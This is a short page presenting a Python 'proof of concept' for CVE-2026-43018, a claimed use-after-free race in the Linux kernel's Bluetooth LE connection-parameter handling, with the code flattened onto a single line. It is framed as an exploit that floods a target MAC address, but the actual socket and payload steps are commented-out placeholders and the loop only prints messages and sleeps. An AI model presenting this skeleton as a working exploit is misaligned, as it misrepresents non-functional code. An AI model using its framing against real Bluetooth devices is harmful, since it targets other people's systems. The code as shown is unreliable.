CVE-2026-43018

import bluetooth import time # Target MAC address (replace with actual target) # target_mac = 'XX:XX:XX:XX:XX:XX' def trigger_uaf_race_condition(target_mac): """ Proof of Concept for CVE-2026-43018. This script attempts to flood the target with LE Connection Parameter Requests to trigger the race condition in hci_le_remote_conn_param_req_evt. Note: This requires a vulnerable Linux kernel within Bluetooth range. """ print(f"[+] Starting PoC for {target_mac}") try: # Continuously send connection parameter requests to induce race while True: # Simulate sending malicious L2CAP packets or HCI commands # In a real exploit, this would involve crafting specific HCI events # to trigger the vulnerable code path while another thread drops the connection. # Placeholder for actual bluetooth socket interaction # sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) # sock.connect((target_mac, 1)) # ... send payload ... # sock.close() print(f"[+] Sending packet to trigger race condition...") time.sleep(0.01) # High frequency to maximize race window except KeyboardInterrupt: print("[-] Exploit stopped by user.") except Exception as e: print(f"[-] Error: {e}") # trigger_uaf_race_condition('TARGET_MAC')

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